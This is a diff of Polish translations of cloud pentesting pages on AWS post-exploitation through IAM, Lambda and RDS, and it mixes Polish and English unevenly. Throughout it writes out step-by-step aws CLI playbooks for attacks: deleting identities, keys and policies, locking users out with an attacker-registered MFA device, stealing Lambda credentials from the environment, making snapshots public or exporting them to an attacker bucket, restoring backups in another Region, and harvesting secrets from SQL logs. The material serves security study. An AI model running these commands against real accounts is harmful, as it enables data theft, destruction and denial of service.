+Posiadając któreś z następujących uprawnień — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — podmiot może usunąć klucze dostępu, profile logowania, klucze SSH, poświadczenia specyficzne dla usługi, profile instancji, certyfikaty lub publiczne klucze CloudFront, albo odłączyć role od profili instancji. Takie działania mogą natychmiast zablokować prawidłowych użytkowników i aplikacje oraz spowodować odmowę usługi lub utratę dostępu dla systemów zależnych od tych poświadczeń, dlatego uprawnienia IAM muszą być ściśle ograniczone i monitorowane.
 ```bash
 # Remove Access Key of a user
 aws iam delete-access-key \
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
 --ssh-public-key-id APKAEIBAERJR2EXAMPLE
 ```
 ### Usuwanie tożsamości
-Z uprawnieniami takimi jak `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` lub `iam:RemoveUserFromGroup` podmiot może usuwać użytkowników, role lub grupy — albo zmieniać członkostwo w grupie — usuwając tożsamości i powiązane ślady. Może to natychmiast przerwać dostęp dla osób i usług zależnych od tych tożsamości, powodując denial-of-service lub utratę dostępu, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
+Z uprawnieniami takimi jak `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, lub `iam:RemoveUserFromGroup`, aktor może usuwać użytkowników, role lub grupy — lub zmieniać członkostwo w grupie — usuwając tożsamości i powiązane ślady. Może to natychmiast przerwać dostęp dla osób i usług zależnych od tych tożsamości, powodując denial-of-service lub utratę dostępu, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
 ```bash
 # Delete a user
 aws iam delete-user \
@@ -114,7 +114,8 @@ aws iam delete-group \
 aws iam delete-role \
 --role-name <Role>
 ```
-Z którąkolwiek z następujących uprawnień — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — podmiot może usuwać lub odłączać polityki zarządzane/inline, usuwać wersje polityk lub granice uprawnień oraz odłączać polityki od użytkowników, grup lub ról. To niszczy uprawnienia i może zmienić model uprawnień, powodując natychmiastową utratę dostępu lub odmowę usługi dla tożsamości, które polegały na tych politykach, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
+###
+Posiadając któreś z następujących uprawnień — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — podmiot może usuwać lub odłączać zarządzane/inline polityki, usuwać wersje polityk lub granice uprawnień oraz odłączać polityki od użytkowników, grup lub ról. To niszczy autoryzacje i może zmienić model uprawnień, powodując natychmiastową utratę dostępu lub odmowę świadczenia usługi (DoS) dla podmiotów, które polegały na tych politykach, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
 ```bash
 # Delete a group policy
 aws iam delete-group-policy \
@@ -126,8 +127,8 @@ aws iam delete-role-policy \
 --role-name <RoleName> \
 --policy-name <PolicyName>
 ```
-### Usuwanie tożsamości federacyjnej
-Posiadając uprawnienia `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` oraz `iam:RemoveClientIDFromOpenIDConnectProvider`, aktor może usunąć dostawców tożsamości OIDC/SAML lub usunąć client IDs. To łamie uwierzytelnianie federacyjne, uniemożliwiając weryfikację tokenów i natychmiast odcinając dostęp użytkownikom i usługom polegającym na SSO, dopóki IdP lub konfiguracje nie zostaną przywrócone.
+### Federated Identity Deletion
+Za pomocą `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, i `iam:RemoveClientIDFromOpenIDConnectProvider` aktor może usunąć dostawców tożsamości OIDC/SAML lub usunąć client IDs. To przerywa federacyjne uwierzytelnianie, uniemożliwiając token validation i natychmiast odmawiając dostępu użytkownikom i usługom, które polegają na SSO, dopóki IdP lub konfiguracje nie zostaną przywrócone.
 ```bash
 # Delete OIDCP provider
 aws iam delete-open-id-connect-provider \
@@ -138,7 +139,7 @@ aws iam delete-saml-provider \
 --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
 ```
 ### Nieuprawniona aktywacja MFA
-Z użyciem `iam:EnableMFADevice` atakujący może zarejestrować MFA device w tożsamości użytkownika, uniemożliwiając prawowitemu użytkownikowi zalogowanie się. Po włączeniu nieautoryzowanego MFA device użytkownik może zostać zablokowany aż do usunięcia lub zresetowania urządzenia (uwaga: jeśli zarejestrowanych jest wiele MFA devices, do logowania wymagana jest tylko jedna, więc ten atak nie spowoduje odmowy dostępu).
+Z uprawnieniem `iam:EnableMFADevice`, osoba atakująca może zarejestrować urządzenie MFA do tożsamości użytkownika, uniemożliwiając prawowitemu użytkownikowi zalogowanie się. Gdy nieautoryzowane urządzenie MFA zostanie włączone, użytkownik może zostać zablokowany aż do usunięcia lub zresetowania urządzenia (uwaga: jeśli zarejestrowanych jest kilka urządzeń MFA, do logowania wymagana jest tylko jedna, więc ten atak nie spowoduje odmowy dostępu).
 ```bash
 aws iam enable-mfa-device \
 --user-name <Username> \
@@ -146,8 +147,8 @@ aws iam enable-mfa-device \
 --authentication-code1 123456 \
 --authentication-code2 789012
 ```
-### Modyfikacja metadanych certyfikatów/kluczy
-Dzięki `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` aktor może zmienić status lub metadane kluczy publicznych i certyfikatów. Poprzez oznaczenie kluczy/certyfikatów jako nieaktywnych lub zmianę referencji mogą przerwać uwierzytelnianie SSH, unieważnić walidacje X.509/TLS i natychmiast zakłócić działanie usług zależnych od tych poświadczeń, powodując utratę dostępu lub dostępności.
+### Certificate/Key Metadata Tampering
+Za pomocą `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` aktor może zmienić status lub metadane kluczy publicznych i certyfikatów. Oznaczając klucze/certyfikaty jako nieaktywne lub zmieniając odwołania, może przerwać uwierzytelnianie SSH, unieważnić walidacje X.509/TLS i natychmiast zakłócić działanie usług zależnych od tych poświadczeń, powodując utratę dostępu lub niedostępność usług.
 ```bash
 aws iam update-ssh-public-key \
 --user-name <Username> \
@@ -160,7 +161,7 @@ aws iam update-server-certificate \
 ```
 ### `iam:Delete*`

-Wildcard IAM iam:Delete* przyznaje możliwość usunięcia wielu rodzajów zasobów IAM — użytkowników, ról, grup, polityk, kluczy, certyfikatów, urządzeń MFA, wersji polityk itp. — i dlatego ma bardzo duży blast radius: podmiot z przydzielonym iam:Delete* może trwale zniszczyć tożsamości, poświadczenia, polityki i powiązane artefakty, usunąć audyt/dowody oraz spowodować przerwy w działaniu usług lub awarie operacyjne. Kilka przykładów to
+Wildcard IAM `iam:Delete*` daje możliwość usunięcia wielu rodzajów zasobów IAM — użytkowników, ról, grup, polityk, kluczy, certyfikatów, urządzeń MFA, wersji polityk itd. — i w związku z tym ma bardzo duże pole rażenia: podmiot, któremu przyznano `iam:Delete*`, może trwale zniszczyć tożsamości, poświadczenia, polityki i powiązane artefakty, usunąć ślady audytu i dowody oraz spowodować przerwy w działaniu usług lub zakłócenia operacyjne. Oto kilka przykładów
 ```bash
 # Delete a user
 aws iam delete-user --user-name <Username>
@@ -173,11 +174,13 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
 ```
 ### `iam:EnableMFADevice`

-Podmiot, któremu przyznano uprawnienie iam:EnableMFADevice, może zarejestrować urządzenie MFA dla tożsamości w koncie, pod warunkiem że użytkownik nie miał już włączonego takiego urządzenia. Można to wykorzystać do zakłócenia dostępu użytkownika: gdy attacker zarejestruje urządzenie MFA, prawowity użytkownik może zostać zablokowany przed zalogowaniem się, ponieważ nie ma kontroli nad zarejestrowanym przez attackera urządzeniem MFA.
+Podmiot, któremu przyznano uprawnienie iam:EnableMFADevice, może zarejestrować urządzenie MFA dla tożsamości w koncie, pod warunkiem że użytkownik nie miał wcześniej włączonego urządzenia.

-Ten atak polegający na odmowie dostępu działa tylko wtedy, gdy użytkownik nie miał zarejestrowanego urządzenia MFA; jeśli attacker zarejestruje urządzenie MFA dla tego użytkownika, prawowity użytkownik zostanie zablokowany we wszystkich procesach wymagających tego nowego MFA. Jeśli użytkownik już ma jedno lub więcej urządzeń MFA pod swoją kontrolą, dodanie urządzenia MFA kontrolowanego przez attackera nie zablokuje prawowitego użytkownika — może on nadal uwierzytelniać się przy użyciu dowolnego posiadanego wcześniej MFA.
+Może to zostać użyte do zakłócenia dostępu użytkownika: gdy atakujący zarejestruje urządzenie MFA, uprawniony użytkownik może zostać pozbawiony możliwości logowania, ponieważ nie kontroluje MFA zarejestrowanego przez atakującego.

-Aby włączyć (zarejestrować) urządzenie MFA dla użytkownika, attacker mógłby uruchomić:
+Ten atak polegający na odmowie dostępu działa tylko jeśli użytkownik nie miał zarejestrowanego MFA; jeśli atakujący zarejestruje MFA dla tego użytkownika, uprawniony użytkownik zostanie zablokowany we wszystkich przepływach, które wymagają tego nowego MFA. Jeśli użytkownik ma już jedno lub więcej urządzeń MFA pod swoją kontrolą, dodanie MFA kontrolowanego przez atakującego nie uniemożliwia korzystania z konta — może nadal uwierzytelniać się przy użyciu dowolnego posiadanego MFA.
+
+Aby włączyć (zarejestrować) urządzenie MFA dla użytkownika, atakujący może uruchomić:
 ```bash
 aws iam enable-mfa-device \
 --user-name <Username> \
@@ -10,29 +10,29 @@ For more information check:
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}

-### Exfilrtate Lambda Credentials
+### Eksfiltracja poświadczeń Lambda

-Lambda uses environment variables to inject credentials at runtime. If you can get access to them (by reading `/proc/self/environ` or using the vulnerable function itself), you can use them yourself. They live in the default variable names `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
+Lambda używa zmiennych środowiskowych do wstrzykiwania poświadczeń w czasie wykonywania. Jeśli uzyskasz do nich dostęp (czytając `/proc/self/environ` lub wykorzystując samą podatną funkcję), możesz ich użyć samodzielnie. Znajdują się one w domyślnych zmiennych o nazwach `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` oraz `AWS_ACCESS_KEY_ID`.

-By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
+Domyślnie mają one uprawnienia do zapisu do cloudwatch log group (jej nazwa jest przechowywana w `AWS_LAMBDA_LOG_GROUP_NAME`), a także do tworzenia dowolnych log groups, jednak lambda functions często mają więcej uprawnień przypisanych w zależności od ich przeznaczenia.

 ### `lambda:Delete*`
-Atakujący z przypisanym uprawnieniem `lambda:Delete*` może usunąć funkcje Lambda, versions/aliases, layers, event source mappings oraz inne powiązane konfiguracje.
+An attacker granted lambda:Delete* can delete Lambda functions, versions/aliases, layers, event source mappings and other associated configurations.
 ```bash
 aws lambda delete-function \
 --function-name <LAMBDA_NAME>
 ```
-### Steal Others Lambda URL Requests
+### Kradzież żądań URL innych użytkowników do Lambda

-If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
+Jeśli atakujący w jakiś sposób uzyska RCE wewnątrz funkcji Lambda, będzie w stanie przechwycić żądania HTTP innych użytkowników kierowane do tej funkcji. Jeśli żądania zawierają wrażliwe informacje (cookies, credentials...) będzie mógł je wykradać.

 {{#ref}}
 aws-warm-lambda-persistence.md
 {{#endref}}

-### Steal Others Lambda URL Requests & Extensions Requests
+### Kradzież żądań URL innych użytkowników i żądań Extensions

-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Wykorzystując Lambda Layers, możliwe jest także nadużycie extensions i utrwalenie się w funkcji Lambda, a także kradzież i modyfikacja żądań.

 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -4,7 +4,7 @@

 ## RDS

-Więcej informacji:
+Więcej informacji znajdziesz:

 {{#ref}}
 ../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Więcej informacji:

 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`

-Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną** poprzez utworzenie snapshotu DB, a następnie przywrócenie z tego snapshotu publicznie dostępnej DB.
+Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną** poprzez utworzenie snapshotu DB, a następnie odtworzenie z niego publicznie dostępnej DB.
 ```bash
 aws rds describe-db-instances # Get DB identifier

@@ -39,7 +39,7 @@ aws rds modify-db-instance \
 # Connect to the new DB after a few mins
 ```
 ### `rds:StopDBCluster` & `rds:StopDBInstance`
-Atakujący posiadający uprawnienie `rds:StopDBCluster` lub `rds:StopDBInstance` może wymusić natychmiastowe zatrzymanie instancji RDS lub całego klastra, powodując niedostępność bazy danych, zerwanie połączeń oraz przerwanie procesów zależnych od bazy danych.
+Atakujący posiadający uprawnienie `rds:StopDBCluster` lub `rds:StopDBInstance` może wymusić natychmiastowe zatrzymanie instancji RDS lub całego klastra, powodując niedostępność bazy danych, zerwane połączenia oraz przerwanie procesów zależnych od bazy danych.

 Aby zatrzymać pojedynczą instancję DB (przykład):
 ```bash
@@ -53,7 +53,7 @@ aws rds stop-db-cluster \
 ```
 ### `rds:Delete*`

-Atakujący, któremu przyznano rds:Delete*, może usunąć zasoby RDS — usuwać instancje DB, klastry, snapshoty, zautomatyzowane kopie zapasowe, grupy subnetów, grupy parametrów/opcji oraz powiązane artefakty, powodując natychmiastową niedostępność usługi, utratę danych, zniszczenie punktów przywracania i utratę dowodów śledczych.
+Atakujący, któremu przyznano rds:Delete*, może usuwać zasoby RDS, usuwając DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups oraz powiązane artefakty, powodując natychmiastową przerwę w działaniu usługi, utratę danych, zniszczenie punktów przywracania i utratę dowodów sądowych.
 ```bash
 # Delete a DB instance (creates a final snapshot unless you skip it)
 aws rds delete-db-instance \
@@ -76,7 +76,7 @@ aws rds delete-db-cluster \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`

-Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot DB** i uczynić go **publicznie** **dostępnym**. Następnie mógłby w swoim koncie po prostu utworzyć DB z tego snapshotu.
+Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot bazy danych** i uczynić go **publicznie** **dostępnym**. Następnie mógłby po prostu utworzyć na swoim koncie DB z tego snapshotu.

 Jeśli atakujący **nie ma `rds:CreateDBSnapshot`**, nadal może uczynić **inne** utworzone snapshoty **publicznymi**.
 ```bash
@@ -89,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`

-Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać części plików logów instancji RDS**. Jeśli wrażliwe dane lub poświadczenia dostępu zostaną przypadkowo zapisane w logach, atakujący mógłby potencjalnie wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
+Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać fragmenty plików dziennika instancji RDS**. Jeśli w logach przypadkowo zapisane zostaną dane wrażliwe lub poświadczenia dostępu, atakujący może wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potential Impact**: Dostęp do poufnych informacji lub nieautoryzowane działania przy użyciu leaked credentials.
+**Potencjalny wpływ**: Dostęp do wrażliwych informacji lub nieautoryzowane działania z użyciem leaked credentials.

 ### `rds:DeleteDBInstance`

-Atakujący posiadający te uprawnienia może **DoS istniejące instancje RDS**.
+Atakujący z tymi uprawnieniami może **DoS istniejące instancje RDS**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potencjalny wpływ**: Usunięcie istniejących instancji RDS i możliwa utrata danych.
+**Potencjalny wpływ**: Usunięcie istniejących instancji RDS oraz potencjalna utrata danych.

 ### `rds:StartExportTask`

 > [!NOTE]
 > TODO: Przetestować
->
-> Atakujący posiadający to uprawnienie może **wyeksportować snapshot instancji RDS do S3 bucket**. Jeśli atakujący ma kontrolę nad docelowym S3 bucket, może potencjalnie uzyskać dostęp do danych wrażliwych zawartych w wyeksportowanym snapshotcie.
+
+Atakujący posiadający to uprawnienie może **wyeksportować snapshot instancji RDS do bucketu S3**. Jeśli atakujący ma kontrolę nad docelowym bucketem S3, może potencjalnie uzyskać dostęp do wrażliwych danych zawartych w wyeksportowanym snapshotcie.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
 **Potencjalny wpływ**: Dostęp do wrażliwych danych w wyeksportowanym snapshotcie.

-### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Replikacja zautomatyzowanych backupów między Regionami dla ukrytego przywracania (`rds:StartDBInstanceAutomatedBackupsReplication`)

-Wykorzystaj replikację automatycznych backupów między Regionami, aby dyskretnie skopiować automatyczne kopie zapasowe instancji RDS do innego Regionu AWS i tam je przywrócić. Atakujący może następnie udostępnić przywróconą bazę danych publicznie i zresetować hasło master, aby uzyskać dostęp do danych poza kanałami monitorowanymi przez obrońców w Regionie, któremu mogą nie poświęcać uwagi.
+Wykorzystaj replikację zautomatyzowanych backupów między Regionami, aby cicho skopiować zautomatyzowane backupy instancji RDS do innego Regionu AWS i tam je przywrócić. Atakujący może następnie uczynić przywróconą bazę danych publicznie dostępną i zresetować hasło master, aby uzyskać dostęp do danych poza kanałami normalnego monitoringu w Regionie, którego obrońcy mogą nie monitorować.

 Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` w docelowym Regionie
- `rds:DescribeDBInstanceAutomatedBackups` w docelowym Regionie
- `rds:RestoreDBInstanceToPointInTime` w docelowym Regionie
- `rds:ModifyDBInstance` w docelowym Regionie
+- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
+- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
+- `rds:RestoreDBInstanceToPointInTime` in the destination Region
+- `rds:ModifyDBInstance` in the destination Region
 - `rds:StopDBInstanceAutomatedBackupsReplication` (opcjonalne sprzątanie)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (aby udostępnić przywróconą bazę danych)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (aby udostępnić przywróconą DB)

-Impact: Utrzymanie dostępu i eksfiltracja danych przez przywrócenie kopii danych produkcyjnych w innym Regionie i publiczne ich udostępnienie z użyciem poświadczeń kontrolowanych przez atakującego.
+Impact: Utrzymanie dostępu i eksfiltracja danych poprzez przywrócenie kopii danych produkcyjnych w innym Regionie i udostępnienie ich publicznie przy użyciu poświadczeń kontrolowanych przez atakującego.

 <details>
-<summary>Pełny przebieg CLI (zamień placeholdery)</summary>
+<summary>Kompletne polecenia CLI (zamień placeholdery)</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>


-### Włącz pełne logowanie SQL via DB parameter groups i exfiltrate via RDS log APIs
+### Włącz pełne logowanie SQL za pomocą DB parameter groups i exfiltrate via RDS log APIs

-Wykorzystaj `rds:ModifyDBParameterGroup` wraz z RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne DB engine credentials). Włącz logowanie SQL na poziomie silnika i pobierz pliki logów za pomocą `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zbierania zapytań, które mogą zawierać secrets/PII/JWTs.
+Wykorzystaj `rds:ModifyDBParameterGroup` wraz z RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne DB engine credentials). Włącz engine SQL logging i pobierz pliki logów za pomocą `rds:DescribeDBLogFiles` oraz `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zebrania zapytań, które mogą zawierać secrets/PII/JWTs.

-Permissions needed (minimum):
+Wymagane uprawnienia (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
+- `rds:ModifyDBInstance` (tylko do przypisania custom parameter group, jeśli instancja używa default one)
+- `rds:RebootDBInstance` (dla parametrów wymagających reboot, np. PostgreSQL)

-Steps
-1) Recon celu i aktualnej grupy parametrów DB
+Kroki
+1) Recon target and current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Upewnij się, że dołączona jest niestandardowa DB parameter group (nie można edytować domyślnej)
+2) Upewnij się, że przypisana jest niestandardowa DB parameter group (nie można edytować domyślnej)
 - Jeśli instancja już używa niestandardowej grupy, użyj jej nazwy w następnym kroku.
- W przeciwnym razie utwórz i dołącz grupę zgodną z rodziną silnika:
+- W przeciwnym razie utwórz i przypisz jedną pasującą do rodziny silnika:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -233,7 +233,7 @@ aws rds modify-db-instance \
 # Wait until status becomes "available"
 ```
 3) Włącz szczegółowe logowanie SQL
- MySQL engines (natychmiast / bez restartu):
+- Silniki MySQL (natychmiastowe / bez restartu):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Pozwól, aby workload działał (lub generuj zapytania). Zapytania zostaną zapisane w logach plików silnika
+4) Pozwól obciążeniu działać (lub wygeneruj zapytania). Polecenia zostaną zapisane w logach plików silnika
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`

-5) Odszukaj i pobierz logi (no DB creds required)
+5) Odszukaj i pobierz logi (nie są wymagane poświadczenia DB)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>

@@ -271,18 +271,18 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) Analiza offline w poszukiwaniu danych wrażliwych
+6) Analizuj offline w poszukiwaniu wrażliwych danych
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-Przykładowe dowody (zacenzurowane):
+Przykładowe dowody (ocenzurowane):
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Czyszczenie
- Przywróć parametry do wartości domyślnych i zrestartuj, jeśli to konieczne:
+- Przywróć parametry do wartości domyślnych i uruchom ponownie system, jeśli to konieczne:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Wpływ: Post-exploitation dostęp do danych poprzez przechwytywanie wszystkich instrukcji SQL aplikacji za pośrednictwem AWS APIs (bez DB creds), potencjalnie leaking secrets, JWTs i PII.
+Impact: Post-exploitation — dostęp do danych poprzez przechwytywanie wszystkich poleceń SQL aplikacji za pośrednictwem AWS APIs (no DB creds), co może prowadzić do leaking secrets, JWTs i PII.

 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`

-Wykorzystaj RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez ingerencji w poświadczenia instancji primary. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia primary) i opcjonalnie wystawić replikę publicznie, aby exfiltrate data.
+Nadużyj RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez ingerencji w poświadczenia instancji primary. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia primary) oraz opcjonalnie wystawić replikę publicznie w celu exfiltrate data.

-Wymagane uprawnienia (minimum):
+Permissions needed (minimum):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)

-Wpływ: dostęp tylko do odczytu do danych produkcyjnych przez replikę z poświadczeniami kontrolowanymi przez atakującego; mniejsze prawdopodobieństwo wykrycia, ponieważ primary pozostaje nietknięty, a replikacja trwa.
+Impact: Dostęp tylko do odczytu do danych produkcyjnych przez replikę z poświadczeniami kontrolowanymi przez atakującego; mniejsze prawdopodobieństwo wykrycia, ponieważ primary pozostaje nienaruszony, a replikacja trwa.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -342,11 +342,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 ```
 Przykładowe dowody (MySQL):
 - Status repliki DB: `available`, replikacja odczytu: `replicating`
- Pomyślne połączenie z nowym hasłem i `@@read_only=1`, potwierdzające dostęp do repliki tylko do odczytu.
+- Pomyślne połączenie z nowym hasłem i `@@read_only=1` potwierdzające dostęp tylko do odczytu z repliki.

 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`

-Wykorzystaj RDS Blue/Green do sklonowania produkcyjnej DB do środowiska green, które jest ciągle replikowane i tylko do odczytu. Następnie zresetuj green master credentials, aby uzyskać dostęp do danych bez ingerencji w instancję blue (prod). To jest bardziej dyskretne niż udostępnianie snapshotu i często omija monitoring skupiony wyłącznie na źródle.
+Wykorzystaj RDS Blue/Green do sklonowania produkcyjnej bazy danych do ciągle replikowanego, tylko do odczytu środowiska green. Następnie zresetuj poświadczenia mastera dla green, aby uzyskać dostęp do danych bez dotykania instancji blue (prod). Jest to bardziej dyskretne niż snapshot sharing i często omija monitoring skupiony wyłącznie na źródle.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -393,22 +393,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Wpływ: Dostęp tylko do odczytu, ale pełny dostęp do danych z klonu produkcji niemal w czasie rzeczywistym, bez modyfikowania instancji produkcyjnej. Przydatne do dyskretnego wydobywania danych i analizy offline.
+Wpływ: Tylko do odczytu, ale pełny dostęp do danych w niemal rzeczywistym klonie środowiska produkcyjnego bez modyfikowania instancji produkcyjnej. Przydatne do dyskretnego wyodrębniania danych i analizy offline.


-### SQL poza pasmem przez RDS Data API poprzez włączenie HTTP endpointu + zresetowanie master password
+### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

-Wykorzystaj Aurora, aby włączyć RDS Data API HTTP endpoint na docelowym klastrze, zresetować master password na wartość, którą kontrolujesz, i uruchamiać SQL przez HTTPS (nie jest wymagana ścieżka sieciowa VPC). Działa na silnikach Aurora, które wspierają Data API/EnableHttpEndpoint (np. Aurora MySQL 8.0 provisioned; niektóre wersje Aurora PostgreSQL/MySQL).
+Wykorzystaj Aurora, aby włączyć RDS Data API HTTP endpoint na docelowym klastrze, zresetować master password na wartość, którą kontrolujesz, i wykonywać SQL przez HTTPS (nie jest wymagana ścieżka sieciowa VPC). Działa na silnikach Aurora, które obsługują Data API/EnableHttpEndpoint (np. Aurora MySQL 8.0 provisioned; niektóre wersje Aurora PostgreSQL/MySQL).

-Permissions (minimum):
+Uprawnienia (minimum):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
- rds-data:ExecuteStatement (oraz rds-data:BatchExecuteStatement, jeśli używane)
+- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

-Wpływ: Omija segmentację sieci i exfiltrate dane przez AWS APIs bez bezpośredniej łączności VPC z DB.
